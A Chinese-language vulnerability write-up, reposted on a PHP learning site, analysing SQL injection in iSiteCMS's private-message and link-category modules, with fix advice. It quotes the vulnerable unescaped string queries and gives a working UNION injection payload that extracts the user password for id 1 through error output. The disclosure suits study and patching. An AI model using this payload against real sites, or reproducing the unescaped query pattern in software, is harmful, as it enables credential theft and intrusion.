来源:自学PHP网 时间:2015-04-16 23:14 作者: 阅读:次
[导读] iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是还有几处注射分布在XX模块以及XXX模块里本文对源代码进行了详细的分析源码分析请见详细说明,实站演示请见漏洞证明...
iSiteCMS 之前有过一个后台登陆时的注射,不过后来修复了,但是
还有几处注射分布在XX模块以及XXX模块里
本文对源代码进行了详细的分析
源码分析请见详细说明,实站演示请见漏洞证明
/isite/components/messages/messages.fe.php line:103
if($form->status == TFORM_STATUS_GETED_VALID){ //这个是站内短信的写信息表单 的 处理 $arr = $form->getValues(); //直接获取表单中信息 $tos = explode(',',trim($arr['to'])); //只是分割,不是过滤 $noExistsMenber = array(); $toMenbers = array(); foreach ($tos as $menber){ $i = $this->DBE->getOne("select `id` from #__user where `name`='$menber'"); //一直到上面这一句都没有过滤,直接带入数据库查询了,之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用(其他的int变量都通过了inval,而这个是string啊喵,我可以输入单引号啊喵) if(is_null($i) or empty($i)){ $noExistsMenber[] = $menber; //id只要有返回就可以继续 }else{ $m['name'] = $menber; $m['id'] = $i; $toMenbers[] = $m; } } if(!empty($noExistsMenber)){ addGlobalNotice("以下用户不存在:".implode(',',$noExistsMenber)); }else{ $msg['tos'] = $arr['to']; $msg['subject'] = $arr['subject']; $msg['content'] = $arr['content']; //进入信息发送的模块了,实际上之前就已经引发注射了,但是攻击时需要读sendMessage代码 $mMessage->sendMessage($toMenbers,$msg); $this->flash('成功','发送成功',bu(1,'messages','inbox')); }
这个就是代码里的表单显示
先来个同理可证:
/isite/components/links/links.be.php line:64
if($form->status == TFORM_STATUS_GETED_VALID){ $newCat = $form->getValues(); if($id==0){ //create category //check name $name = $newCat['name']; $nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'"); if($nameUsed){ $form->status = TFORM_STATUS_GETED;
看完以上代码是不是有一种似曾相识的感觉呢?
漏洞成因分析完毕
下面是对于攻击方式的分析,如果您只关心如何把漏洞补上,也可以直接跳过以下内容到漏洞修复那里
注射肯定是有了,但是这里有一点点别扭的地方,就是
$tos = explode(',',trim($arr['to']));
这句话把逗号给干掉了,给注射添加了小小难度,不过,这能难倒WOOYUN的帽子们吗?
继续分析代码:
/isite/components/messages/models/message.php 整个php
function sendMessage($to,$message,$type=null,$newCall=1){ //刚才检测完用户是否存在后,调用这个函数 if(isset($to['name']) or is_string($to)){ if(is_string($to)){ $to['name'] = $to; } if(!isset($to['id'])){ //还记得id吗,是之前被注射SQL的返回,理论上正常应该是目标用户的id $to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'"); } //又SELECT一遍,不过name还是注射时的name,这一句也被注射了 global $gUser; $message['to'] = $to['name']; $message['to_id'] = $to['id']; $message['from'] = $gUser->name; $message['from_id'] = $gUser->id; $message['create_time'] = TIME_STAMP; $message['type'] = $type; $this->insert($message); //看到下一句,终于长舒一口气,注射可以有回显了!to_id就是我们的语句执行结果,而它会报错给我们看的! $this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]"); if($newCall>0){ $message['to'] = ''; $message['to_id'] = 0; $this->insert($message); $newCall--; } }else if(is_array($to)){ foreach ($to as $sto){ $this->sendMessage($sto,$message,null,$newCall); } } }
注射+回显方法 :
test' and 1=2 union select password from flexi_user where id=1#
union select 后面加你想看的内容即可,不过记着不能用逗号哦
修补方式分析:
目前的状态是:数字型+语句中单引号(可防注射);字符型+语句中单引号(仍能注射)
主要需要考虑字符型变量的过滤问题
可以addslashes,也可以用普通过滤
也可以用框架提供的安全特性
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com